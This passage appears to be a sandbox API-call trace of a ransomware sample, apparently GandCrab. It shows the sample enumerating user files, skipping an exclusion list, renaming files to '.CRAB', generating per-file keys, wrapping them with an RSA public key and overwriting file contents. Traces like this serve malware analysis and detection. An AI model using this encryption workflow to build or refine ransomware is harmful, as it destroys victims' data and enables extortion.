	[0124.183] WriteFile (in: hFile=0x3f4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314a9fc, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314a9fc*=0xcce, lpOverlapped=0x0) returned 1
	[0124.184] CloseHandle (hObject=0x3f4) returned 1
	[0124.184] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.184] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun\\Java\\Deployment\\") returned 58
	[0124.184] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun\\Java\\Deployment\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun\\Java\\Deployment\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun\\Java\\Deployment\\*"
	[0124.184] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun\\Java\\Deployment\\*", lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 0x3166520
	[0124.184] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0124.184] FindNextFileW (in: hFindFile=0x3166520, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0124.184] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0124.184] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0124.185] FindNextFileW (in: hFindFile=0x3166520, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0124.185] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0124.185] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0124.185] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun\\Java\\Deployment\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun\\Java\\Deployment\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun\\Java\\Deployment\\CRAB-DECRYPT.txt"
	[0124.185] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0124.185] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun\\Java\\Deployment\\CRAB-DECRYPT.txt") returned 74
	[0124.185] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun\\Java\\Deployment\\CRAB-DECRYPT.txt") returned 74
	[0124.185] lstrlenW (lpString=".txt") returned 4
	[0124.185] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0124.185] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0124.185] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.186] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun\\Java\\Deployment\\CRAB-DECRYPT.txt") returned 74
	[0124.186] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun\\Java\\Deployment\\CRAB-DECRYPT.txt") returned 74
	[0124.186] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0124.186] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0124.186] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0124.186] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0124.186] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0124.186] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0124.186] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0124.186] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0124.186] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0124.186] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.186] FindNextFileW (in: hFindFile=0x3166520, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 0
	[0124.187] FindClose (in: hFindFile=0x3166520 | out: hFindFile=0x3166520) returned 1
	[0124.187] FindNextFileW (in: hFindFile=0x3166260, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0
	[0124.187] FindClose (in: hFindFile=0x3166260 | out: hFindFile=0x3166260) returned 1
	[0124.187] FindNextFileW (in: hFindFile=0x3166160, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 0
	[0124.187] FindClose (in: hFindFile=0x3166160 | out: hFindFile=0x3166160) returned 1
	[0124.187] FindNextFileW (in: hFindFile=0xd805a0, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0124.187] lstrcmpW (lpString1="svdQucS_.bmp", lpString2=".") returned 1
	[0124.187] lstrcmpW (lpString1="svdQucS_.bmp", lpString2="..") returned 1
	[0124.187] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="svdQucS_.bmp" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\svdQucS_.bmp") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\svdQucS_.bmp"
	[0124.187] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0124.187] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\svdQucS_.bmp") returned 50
	[0124.187] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\svdQucS_.bmp") returned 50
	[0124.187] lstrlenW (lpString=".bmp") returned 4
	[0124.188] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0124.188] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".bmp ") returned 5
	[0124.188] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.188] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\svdQucS_.bmp") returned 50
	[0124.188] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\svdQucS_.bmp") returned 50
	[0124.188] lstrcmpiW (lpString1="svdQucS_.bmp", lpString2="desktop.ini") returned 1
	[0124.188] lstrcmpiW (lpString1="svdQucS_.bmp", lpString2="autorun.inf") returned 1
	[0124.188] lstrcmpiW (lpString1="svdQucS_.bmp", lpString2="ntuser.dat") returned 1
	[0124.188] lstrcmpiW (lpString1="svdQucS_.bmp", lpString2="iconcache.db") returned 1
	[0124.188] lstrcmpiW (lpString1="svdQucS_.bmp", lpString2="bootsect.bak") returned 1
	[0124.188] lstrcmpiW (lpString1="svdQucS_.bmp", lpString2="boot.ini") returned 1
	[0124.188] lstrcmpiW (lpString1="svdQucS_.bmp", lpString2="ntuser.dat.log") returned 1
	[0124.188] lstrcmpiW (lpString1="svdQucS_.bmp", lpString2="thumbs.db") returned -1
	[0124.189] lstrcmpiW (lpString1="svdQucS_.bmp", lpString2="CRAB-DECRYPT.txt") returned 1
	[0124.189] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0124.189] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\svdQucS_.bmp.CRAB") returned 55
	[0124.189] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\svdQucS_.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\svdqucs_.bmp")) returned 0x20
	[0124.189] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\svdQucS_.bmp", dwFileAttributes=0x20) returned 1
	[0124.190] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\svdQucS_.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\svdqucs_.bmp"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\svdQucS_.bmp.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\svdqucs_.bmp.crab")) returned 1
	[0124.193] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0124.194] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\svdQucS_.bmp.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\svdQucS_.bmp.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\svdQucS_.bmp.CRAB"
	[0124.194] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\svdQucS_.bmp.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\svdQucS_.bmp.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\svdQucS_.bmp.CRAB.CRAB"
	[0124.194] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e5a0) returned 1
	[0124.195] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0124.195] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0124.195] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0124.195] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0124.195] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0124.195] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.196] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e7c0) returned 1
	[0124.196] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0124.197] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0124.197] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0124.197] CryptGenRandom (in: hProv=0xd6e7c0, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0124.197] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
	[0124.197] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.197] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0124.197] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0124.198] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0124.198] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x3166160) returned 1
	[0124.198] CryptGetKeyParam (in: hKey=0x3166160, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0124.198] CryptEncrypt (in: hKey=0x3166160, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0124.199] GetLastError () returned 0x0
	[0124.199] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0124.199] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e9e0) returned 1
	[0124.199] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x31662a0) returned 1
	[0124.199] CryptGetKeyParam (in: hKey=0x31662a0, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0124.199] CryptEncrypt (in: hKey=0x31662a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0124.200] GetLastError () returned 0x0
	[0124.200] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0124.200] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\svdQucS_.bmp.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\svdqucs_.bmp.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0124.200] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0124.201] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0124.201] ReadFile (in: hFile=0x3ec, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314c9c4*=0x17878, lpOverlapped=0x0) returned 1
	[0124.214] VirtualAlloc (lpAddress=0x0, dwSize=0x17880, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0124.216] VirtualAlloc (lpAddress=0x0, dwSize=0x17880, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0124.219] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.219] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffe8788, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.219] WriteFile (in: hFile=0x3ec, lpBuffer=0x3010000*, nNumberOfBytesToWrite=0x17880, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x3010000*, lpNumberOfBytesWritten=0x314c9b4*=0x17880, lpOverlapped=0x0) returned 1
	[0124.220] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.220] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.224] WriteFile (in: hFile=0x3ec, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0124.224] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0124.224] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0124.224] CloseHandle (hObject=0x3ec) returned 1
	[0124.225] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.225] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.225] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.226] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.226] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.226] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.226] FindNextFileW (in: hFindFile=0xd805a0, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0124.226] lstrcmpW (lpString1="t07oBodXmsqNsVjwvA0.odt", lpString2=".") returned 1
	[0124.226] lstrcmpW (lpString1="t07oBodXmsqNsVjwvA0.odt", lpString2="..") returned 1
	[0124.226] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="t07oBodXmsqNsVjwvA0.odt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\t07oBodXmsqNsVjwvA0.odt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\t07oBodXmsqNsVjwvA0.odt"
	[0124.227] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0124.227] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\t07oBodXmsqNsVjwvA0.odt") returned 61
	[0124.227] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\t07oBodXmsqNsVjwvA0.odt") returned 61
	[0124.227] lstrlenW (lpString=".odt") returned 4
	[0124.227] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0124.227] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".odt ") returned 5
	[0124.227] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.228] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\t07oBodXmsqNsVjwvA0.odt") returned 61
	[0124.228] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\t07oBodXmsqNsVjwvA0.odt") returned 61
	[0124.228] lstrcmpiW (lpString1="t07oBodXmsqNsVjwvA0.odt", lpString2="desktop.ini") returned 1
	[0124.228] lstrcmpiW (lpString1="t07oBodXmsqNsVjwvA0.odt", lpString2="autorun.inf") returned 1
	[0124.228] lstrcmpiW (lpString1="t07oBodXmsqNsVjwvA0.odt", lpString2="ntuser.dat") returned 1
	[0124.228] lstrcmpiW (lpString1="t07oBodXmsqNsVjwvA0.odt", lpString2="iconcache.db") returned 1
	[0124.228] lstrcmpiW (lpString1="t07oBodXmsqNsVjwvA0.odt", lpString2="bootsect.bak") returned 1
	[0124.228] lstrcmpiW (lpString1="t07oBodXmsqNsVjwvA0.odt", lpString2="boot.ini") returned 1
	[0124.228] lstrcmpiW (lpString1="t07oBodXmsqNsVjwvA0.odt", lpString2="ntuser.dat.log") returned 1
	[0124.228] lstrcmpiW (lpString1="t07oBodXmsqNsVjwvA0.odt", lpString2="thumbs.db") returned -1
	[0124.228] lstrcmpiW (lpString1="t07oBodXmsqNsVjwvA0.odt", lpString2="CRAB-DECRYPT.txt") returned 1
	[0124.228] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0124.228] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\t07oBodXmsqNsVjwvA0.odt.CRAB") returned 66
	[0124.228] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\t07oBodXmsqNsVjwvA0.odt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\t07obodxmsqnsvjwva0.odt")) returned 0x20
	[0124.229] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\t07oBodXmsqNsVjwvA0.odt", dwFileAttributes=0x20) returned 1
	[0124.229] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\t07oBodXmsqNsVjwvA0.odt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\t07obodxmsqnsvjwva0.odt"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\t07oBodXmsqNsVjwvA0.odt.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\t07obodxmsqnsvjwva0.odt.crab")) returned 1
	[0124.230] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0124.230] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\t07oBodXmsqNsVjwvA0.odt.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\t07oBodXmsqNsVjwvA0.odt.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\t07oBodXmsqNsVjwvA0.odt.CRAB"
	[0124.230] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\t07oBodXmsqNsVjwvA0.odt.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\t07oBodXmsqNsVjwvA0.odt.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\t07oBodXmsqNsVjwvA0.odt.CRAB.CRAB"
	[0124.230] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6eb78) returned 1
	[0124.231] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0124.231] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0124.231] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0124.231] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0124.231] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0124.231] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.232] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0124.232] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0124.232] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0124.233] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0124.233] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0124.233] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0124.233] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.233] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0124.233] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0124.234] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e6b0) returned 1
	[0124.234] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x3166420) returned 1
	[0124.234] CryptGetKeyParam (in: hKey=0x3166420, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0124.234] CryptEncrypt (in: hKey=0x3166420, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0124.235] GetLastError () returned 0x0
	[0124.235] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0124.235] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e5a0) returned 1
	[0124.235] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x3166320) returned 1
	[0124.235] CryptGetKeyParam (in: hKey=0x3166320, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0124.235] CryptEncrypt (in: hKey=0x3166320, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0124.236] GetLastError () returned 0x0
	[0124.236] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0124.236] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\t07oBodXmsqNsVjwvA0.odt.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\t07obodxmsqnsvjwva0.odt.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0124.236] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0124.236] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0124.237] ReadFile (in: hFile=0x3ec, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314c9c4*=0xa70d, lpOverlapped=0x0) returned 1
	[0124.251] VirtualAlloc (lpAddress=0x0, dwSize=0xa710, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0124.253] VirtualAlloc (lpAddress=0x0, dwSize=0xa710, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0124.254] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.254] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xffff58f3, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.254] WriteFile (in: hFile=0x3ec, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0xa710, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314c9b4*=0xa710, lpOverlapped=0x0) returned 1
	[0124.255] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.256] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.260] WriteFile (in: hFile=0x3ec, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
